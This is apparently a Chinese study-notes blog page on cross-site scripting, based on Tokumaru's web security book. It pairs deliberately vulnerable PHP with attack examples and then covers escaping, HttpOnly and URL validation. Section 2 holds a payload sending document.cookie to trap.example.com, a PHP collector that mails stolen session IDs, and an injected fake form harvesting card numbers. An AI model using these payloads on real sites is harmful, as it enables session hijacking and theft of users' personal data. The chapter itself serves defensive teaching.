notebook notebook
首页
  • 计算机网络
  • 计算机系统
  • 数据结构与算法
  • 计算机专业课
  • 设计模式
  • 前端 (opens new window)
  • Java 开发
  • Python 开发
  • Golang 开发
  • Git
  • 软件设计与架构
  • 大数据与分布式系统
  • 常见开发工具

    • Nginx
  • 爬虫
  • Python 数据分析
  • 数据仓库
  • 中间件

    • MySQL
    • Redis
    • Elasticsearch
    • Kafka
  • 深度学习
  • 机器学习
  • 知识图谱
  • 图神经网络
  • 应用安全
  • 渗透测试
  • Linux
  • 云原生
面试
  • 收藏
  • paper 好句
GitHub (opens new window)

学习笔记

啦啦啦,向太阳~
首页
  • 计算机网络
  • 计算机系统
  • 数据结构与算法
  • 计算机专业课
  • 设计模式
  • 前端 (opens new window)
  • Java 开发
  • Python 开发
  • Golang 开发
  • Git
  • 软件设计与架构
  • 大数据与分布式系统
  • 常见开发工具

    • Nginx
  • 爬虫
  • Python 数据分析
  • 数据仓库
  • 中间件

    • MySQL
    • Redis
    • Elasticsearch
    • Kafka
  • 深度学习
  • 机器学习
  • 知识图谱
  • 图神经网络
  • 应用安全
  • 渗透测试
  • Linux
  • 云原生
面试
  • 收藏
  • paper 好句
GitHub (opens new window)
  • 应用安全

    • 小迪安全学习笔记

    • Web 应用安全权威指南 -- 德丸浩

      • 搭建试验环境
      • HTTP、会话管理、同源策略
      • 输入处理的安全性
      • 跨站脚本
        • 1. 概要
        • 2. 攻击手段与影响
          • 2.1 XSS 窃取 Cookie 值
          • 2.2 使用被动攻击盗取他人的 Cookie
          • 2.3 通过 JavaScript 攻击
          • 2.4 篡改网页
          • 2.5 反射型 XSS 与存储型 XSS
        • 3. 安全隐患产生的原因
          • 3.1 HTML Escape 概要
          • 3.2 不 escape 会受到怎样的攻击?
        • 4. 对策
          • 4.1 XSS 对策的基础
          • 4.2 指定响应的字符编码
          • 4.3 XSS 的辅助性决策
        • 5. href 属性与 src 属性的 XSS
          • 5.1 介绍
          • 5.2 生成 URL 时的对策
          • 5.3 校验链接网址
  • 渗透测试

  • 安全
  • 应用安全
  • Web 应用安全权威指南 -- 德丸浩
yubin
2022-07-15
目录

跨站脚本

页面显示处理中会产生的安全性问题有如下两项:

  • 跨站脚本
  • 错误消息导致的信息泄露

后者主要是因为错误消息可能含有对攻击者有帮助的内部信息,解决方式就是在应用程序发生错误时,仅在页面上显示“此时访问量过大,请稍后再试”等简单提示,而错误的详细内容则以错误日志(Error Log)的形式输出。

本章主要将跨站脚本的问题。

# 1. 概要

通常情况下,在 Web 应用的网页中,有些部分的显示内容会依据外界输入值而发生变化。而如果生成这些 HTML 的程序中存在问题,就会滋生名为跨站脚本(Cross-Site Scripting)的安全患跨站脚本的英语名称很长,所以经常缩写为 XSS。

XSS 主要产生以下风险:

  • 用户的浏览器中运行攻击者的恶意脚本,从而导致 Cookie 信息被窃取,用户身份被冒名顶替;
  • 攻击者能获得用户的权限来恶意使用 Web 应用的功能;
  • 向用户显示伪造的输入表单,通过钓鱼式攻击窃取用户的个人信息

防范 XSS 的策略为:页面显示时将 HTML 中含有特殊意义的字符(元字符)转义。

# 2. 攻击手段与影响

我们看一下 XSS 被恶意使用的三种方式:

  • 窃取 Cookie 值
  • 通过 JavaScript 攻击
  • 篡改网页

# 2.1 XSS 窃取 Cookie 值

假设下面的搜索页面需要用户登录后才能看到,页面上显示的是搜索关键词:






 



<?php
  session_start();
  // 登录检查(略)
?>
<body>
搜索关键字:<?php echo $_GET['keyword']; ?><BR>
以下略
</body>
1
2
3
4
5
6
7
8
  • 其中 $GET['keyword'] 表示取出请求该页面时的 query 参数中 key 为 “keyword” 的 value。

正常运行时,假设关键词是 “Haskell”,那么请求 URL 为:http://example.jp/43/43-001.php?keyword=Haskell,此时页面显示如下:

image-20220716110344065

接下来是攻击的例子,关键字指定为:

keyword=<script>alert{document.cookie}</script>
1

页面中将会出现弹框并显示出 Cookie 数据。表明外部注入的 JS 成功读取到了会话 ID。

现在的浏览器由于加强了安全性,将会阻挡通过 XSS 执行的 JavaScript。

# 2.2 使用被动攻击盗取他人的 Cookie

然而,能够显示自己的会话ID对于攻击者来说并无太大意义,在实际的攻击中,攻击者需要将存在隐患的网站的用户引诱至恶意网站。以下就是恶意网站的示例:

<html><body>
特价商品信息
<br><br>
<iframe width=320 height=100 src="http://example.jp/43/43-001.php?keyword=<script>window.location='http://trap.example.com/43/43-901.php?sid='%2Bdocument.cookie;</script>"></iframe>
</body></html>
1
2
3
4
5

恶意网站的 HTML 使用了 iframe 元素来显示存在隐患的网站的页面(/43/43-001php),并对其实施 XSS 攻击。存在隐患的网站的用户只要浏览了该恶意网站,浏览器中 iframe 里面的页面就会受到 XSS 攻击。一个恶意网站构造示例如下:

image-20220716111952570
  1. 恶意网站的 iframe 中显示出存在隐患的网站
  2. 存在隐患的网站遭受攻击后,Cookie 值被添加到 URL 的查询字符串中,页面跳转到信息收集页面
  3. 信息收集页面将接收到的 Cookie 值通过邮件发送给攻击者

在上图的恶意网站运作方式中,打开图左侧的页面时,iframe 中会使用如下 URL 来请求隐患网页:

http://example.jp/43/43-001.php?keyword=<script>window.location='http://trap.example.com/43/43-901.php?sid='%2Bdocument.cookie;</script>
1

然后,存在隐患的网页中会执行如下的 JS 代码(为了便于阅读,这里做了换行):

<script>
window.location='http://trap.example.com/43/43-901.php?sid='
    + document.cookie;
</script>
1
2
3
4

这段 JS 脚本的作用是:添加 Cookie 值作为 URL 的 query 参数,并跳转到信息收集页面(/43/43-901.php)。以下为收集信息用的脚本,它会将收集到会话 ID 发送给攻击者的邮箱:

<?php
  mb_language('Japanese');
  $sid = $_GET['sid'];
  mb_send_mail('wasbook@example.jp', '攻击成功', 'Session ID:' . $sid,
    'From: cracked@trap.example.com');
?>
<body>攻击成功<br>
<?php echo $sid; ?>
</body>
1
2
3
4
5
6
7
8
9

如此这样,如果用户登录了存在隐患的网站后又浏览了恶意页面,那么就会中了 XSS 的招从而使自己的会话 ID 通过邮件发送给攻击者,攻击者就会利用得到的会话 ID 伪装成其他用户来肆意妄为。

# 2.3 通过 JavaScript 攻击

上面的例子是攻击者用 JavaScript 读取到了用户的 Cookie 值,然而,事实上利用 JavaScript 实施的攻击却远不止如此,一个典型案例就是利用 XSS 制造的蠕虫病毒。这些蠕虫病毒能够收集到大量的用户个人信息或伪装他人发布信息,从而形成潜在的巨大风险。

# 2.4 篡改网页

上面解说的攻击手段中,所攻击的网站仅限于支持会员登录的网站,其实,没有登录功能的网站同样也会遭受 XSS 攻击,如下例所示。

下面是新手机的预购网站,该网站由于存在 XSS 漏洞,因此能够对网站中的 HTML 元素进行添加/更改/删除,或者更改表单发送的目标:

image-20220716113438245

网站脚本的主要内容如下,由于该页面兼任输入页面和编辑页面,因此各个输入框都有初始值,而 XSS 漏洞就源于此:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD><TITLE>全新收集预约</TITLE></HEAD>
<BODY>
<FORM action="" METHOD=POST>
姓  名<INPUT size="20" name="name" value="<?php echo @$_POST['name']; ?>"><BR>
住  所<INPUT size="20" name="addr" value="<?php echo @$_POST['addr']; ?>"><BR>
电话号码<INPUT size="20" name="tel" value="<?php echo @$_POST['tel']; ?>"><BR>
内  容<INPUT size="10" name="kind" value="<?php echo @$_POST['kind']; ?>">
数量<INPUT size="5" name="num" value="<?php echo @$_POST['num']; ?>"><BR>
<input type=submit value="申请"></FORM>
</BODY>
</HTML>
1
2
3
4
5
6
7
8
9
10
11
12
13

以下 HTML(43-902.html)是对该预约网站进行 XSS 攻击的恶意网页,页面上通过 CSS 将攻击需要的表单提交按钮伪装成了链接的样子:








 

 





<html>
<head><title>使用信用卡预约全新手机</title></head>
<body>
现在可以使用信用卡预约手机,赶紧下单吧。
<BR>
<form action="http://example.jp/43/43-002.php" method="POST">
<input name="name" type="hidden" value='
    "></form><form style=top:5px;left:5px;position:absolute;z-index:99;background-color:white action=http://trap.example.com/43/43-903.php method=POST>请使用信用卡支付预购定金<br>姓  名<input size=20 name=name><br>地  址<input size=20 name=addr><br>电话号码<input size=20 name=tel><br>内  容<input size=10 name=kind>数  量<input size=5 name=num><br>信用卡号<input size=16 name=card>信用卡有效期<input size=5 name=thru><br><input value=申请 type=submit><BR><BR><BR><BR><BR></form>
'>
<input style="cursor:pointer;text-decoration:underline;color:blue;border:none;background:transparent;font-size:100%;" 
                type="submit" value="手机预约中心">
</form>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
  • line 8 是注入的 HTML
  • line 10 中 type="submit" 实现了伪装成链接的按钮

下面是恶意网页的页面显示效果:

image-20220716114802516

用户点击伪装的链接后,上面代码中的注入 HTML 就会被注入到页面,最终呈现效果与本节第一张图的预约网站一模一样,只是修改了提交的 action 的 URL 指向了恶意网站,这样用户输入的数据就被传到了坏人手里。

注入 HTML 所做的事情是:

  • 使用 </form> 使原先页面的 form元素结束,并添加新的 form 元素,并指定 style 如下:
    • 通过指定绝对坐标将 form 的位置定位于左上角
    • 将 z-index 设置为很大的值(99),确保其堆叠顺序在原先 form 的前面将背景色设为白色,从而隐藏原先的 form
    • 将 action 的 URL 指定为恶意网站

这样的攻击后的页面地址栏显示的 URL 与之前正规的完全一样,用户不看源代码很难识别这一伪装。

由此可见,XSS 并非一定要用 JavaScript,所以如果防范策略仅局限于 script 标签(比如将“script”单词全部删除),攻击者还是会有可乘之机。对用户而言,仅在浏览器中禁止 JavaScript 也是不能得以高枕无忧的。

# 2.5 反射型 XSS 与存储型 XSS

我们根据攻击用 JavaScript 代码的存储地点将 XSS 攻击进行分类:

  • 反射型 XSS:如果攻击用 JS 代码谓语攻击目标网站之外的其它网站(恶意网站或邮件中的 URL),就称之为反射型 XSS(Reflected XSS)。它多发生于网页将用户的输入值原封不动地显示出来的情况下,比如最先介绍的 43-001.php 的攻击模式。
  • 存储型 XSS:攻击者将攻击用 JavaScript 代码保存在攻击对象的数据库中,这种模式的 XSS 就被称为存储型 XSS(Stored XSS)或持久性 XSS(Persistent XSS)。
  • DOM based XSS:当网页中存在不通过服务器而是仅依靠前端 JavaScript 来显示的参数时,就有可能会招致 DOM based XSS 这种类型的 XSS 发生。

使用 Stored XSS 后无需攻击者费尽心思将用户引诱至恶意网站,而且即使是戒心很重的用户也会有很大的几率中招,因此对攻击者来说益处多多。

# 3. 安全隐患产生的原因

XSS 漏洞产生的原因为:生成 HTML 的过程中,HTML 语法中含有特殊意义的字符(元字符)没有被正确处理,结果导致 HTML 或 JavaScript 被肆意注入,从而使得原先的 HTML 结构产生变化。

为了消除元字符的特殊意义,将其转化为普通字符,就需要用到转义(Escape)处理。HTML 的 escape 处理对于消除 XSS 至关重要。

# 3.1 HTML Escape 概要

例如,在 HTML 中显式 < 时,必须按照字符实体引用(Character Entity Reference)将其 escape 为 &lt,否则浏览器就会将其解释为标签的开始。

在 HTML 中,根据字符所处位置不同,应当转义的元字符也会发生变化:

位置 说明 最低限度的转义内容
元素内容 能解释 Tag 和字符实体;结束边界字符 < < 和 & 使用字符实体转义
属性值(双引号中的内容) 能解释字符实体;结束边界字符为双引号 属性值用双引号括起来,<、& 和 " 使用字符实体转义

接下来看一下不进行 escape 会受到怎样的 XSS 攻击。

# 3.2 不 escape 会受到怎样的攻击?

# 3.2.1 元素内容的 XSS

这种类型在之前的“通过 XSS 窃取 Cookie” 中已经介绍了。元素内容中发生的 XSS 是最基本的攻击模式,常发生于没有将 < 转义的情况。

# 3.2.2 没有用引号括起来的属性值的 XSS

如下脚本中的属性值没有用引号括起来:

<body>
    <input type=text name=mail 
           value=<?php echo $_GET['p']; ?>>
</body>
1
2
3
4

此时假设 p 的值为:

1+onmounseover%3dalert(document.cookie)
1

URL 中 + 代表空格,%3d 代表等号,因此之前 input 元素就变成了如下这般:

<input type=text name=mail
       value=1
       onmouseover=alert(document.cookie)>
1
2
3

属性值没有用引号括起来时,空格就意味着属性值的结束,因此就可以通过插入空格来添加属性。

# 3.2.3 用引号括起来的属性值的 XSS

然而,即使属性值都用括号括了起来,但只要 " 没有被转义,还是会发生 XSS 攻击。比如如下脚本的属性值就被括号括了起来:

<body>
    <input type="text" name="mail" 
           value="<?php echo $_GET['p']; ?>">
</body>
1
2
3
4

此时,假设 p 的值如下:

"+onmouseover%3d"alert(document.cookie)
1

之前的 input 元素就变成了如下这般:

<input type="text" name="mail" 
       value=""
       onmouseover=alert(document.cookie)>
1
2
3

value="" 使得 value 属性结束,onmouseover 以后的字符被解释为事件绑定。因此,结果同前项一样。

# 4. 对策

XSS 漏洞产生的主要原因就是生成 HTML 时没有对 < 和 " 等进行转义,因此将特殊字符转义显然是重要对策。

# 4.1 XSS 对策的基础

HTML 中最低限度的防范策略如下:

  • 元素内容中转义 < 和 &
  • 属性值用双引号括起来,并转义 < 和 & 和 "

在使用 PHP 时,可以使用 htmlspecialchars 函数进行 HTML 的 escape。

# 4.2 指定响应的字符编码

如果 Web 应用与浏览器各自设想的字符编码不一致,也会成为 XSS 的原因。PHP 中提供了多种指定字符编码的方法,其中最可靠的方法就是采用 header 函数:

header('Content-Type: text/html; charset=UTF-8');
1

# 4.3 XSS 的辅助性决策

由于需要提防的地方实在太多,导致容易有所疏漏。可以通过实施下面介绍的辅助性对策,这样即使根本性对策的实施有所疏漏,也能减免攻击造成的伤害。

# 4.3.1 输入校验

通过校验输入值的有效性,当输入值不符合条件时就显示错误消息并促使用户重新输入,有时也能够防御 XSS 攻击。

# 4.3.2 给 Cookie 添加 HttpOnly 属性

开启 Cookie 的 HttpOnly 属性能够禁止 JavaScript 读取 Cookie 值,从而能够杜绝 XSS 中窃取会话 ID 这一典型攻击手段。

需注意这只是限制了攻击者的选择范围,并不能杜绝所有 XSS 攻击。

# 4.3.3 关闭 TRACE 方法

关闭 TRACE 方法这是跨站追踪(Cross-Site Tracing,简称 XST)攻击的防范策略。XST 是指利用 JavaScript 发送 HTTP 的 TRACE 方法来窃取 Cookie 值或 Basic 认证密码的攻击手段。

XST 攻击利用的是 XSS 漏洞,所以只要消除了 XSS 漏洞就能保证安全无虞。而为了以防实施防范策略时有所遗漏,可以通过关闭 TRACE 方法来防御 XST 攻击。

实际上现在的主流览器都已经能够自己防御 XST,所以只要用户不使用一此另类的浏览器,就可以不用虑 XST 攻击。

在 Apache 中,可以在 httpd.conf 中做如下配置来关闭 TRACE 方法:

TraceEnable Off
1

对策总结

根本性对策(个别对策):

  • HTML 的元素内容:使用 htmlspecialchars 函数转义
  • 属性值:使用 htmlspecialchars 函数转义并用双引号括起来

根本性对策(共通对策):

  • 明确设置 HTTP 响应的字符编码

辅助对策:

  • 输入校验
  • 给 Cookie 添加 HttpOnly 属性
  • 关闭 TRACE 方法

后面几节作为面前的补充,继续介绍其他形式的 XSS 隐患,即 href 等保存 URL 的属性值、事件绑定函数以及 script 元素。

# 5. href 属性与 src 属性的 XSS

# 5.1 介绍

有些属性的值为 URL,比如 a 元素的 href 属性、img 元素、frame 元素、iframe 元素的 src 属性等。如果属性中 URL 的值是由外界传人的话,外界就能够使用 javascript:JavaScript 代码形式(javascript 协议)的 URL 执行 JavaScript 代码。比如,下面这段示例脚本的目的就是使用外界传人的 URL 来生成链接。

<body>
<a href="<?php echo htmlspecialchars($_GET['url']); ?>">书签</a>
</body>
1
2
3

作为攻击示范,下面我们使用以下的 URL 来执行这段脚本:

http://example.jp/43/43-010.php?url=javascript:alert(document.cookie)
1

生成的 HTML 代码如下:

<body>
<a href="javascript:alert(document.cookie)">书签</a>
</body>
1
2
3

可以看到,href 属性被设置了 JavaScript 协议,从而便能够执行 JavaScript 代码。这样,在页面上点击“书签”链接后,JavaScript 就会被执行。

# 5.2 生成 URL 时的对策

当 URL 由程序动态生成时,需要对其进行校验,仅允许 http 和 https 协议。此外,通过校验的 URL 还需要作为属性值进行 HTML 转义。

具体来说,URL 需满足下列两个条件中的一个:

  • 以 http: 或 https: 开头的绝对 URL
  • 以 / 开头的相对 URL

# 5.3 校验链接网址

如果外界能够任意指定链接的跳转去向,用户就有可能被引向恶意网站,从而被攻击者通过钓鱼式攻击方式骗取个人信息。因此,在不明确跳转至的外部网站的链接时,可以执行如下任一操作:

  • 检查链接的目标 URL,如果指向外部网站就报错;
  • 当链接目标为外部 URL 时,显示一个警告页面以提醒用户可能存在风险。
编辑 (opens new window)
上次更新: 2022/07/19, 10:23:43
输入处理的安全性
Web 指纹识别技术研究与优化实现

← 输入处理的安全性 Web 指纹识别技术研究与优化实现→

最近更新
01
Deep Reinforcement Learning
10-03
02
误删数据后怎么办
04-06
03
MySQL 一主多从
03-22
更多文章>
Theme by Vdoing | Copyright © 2021-2024 yubincloud | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×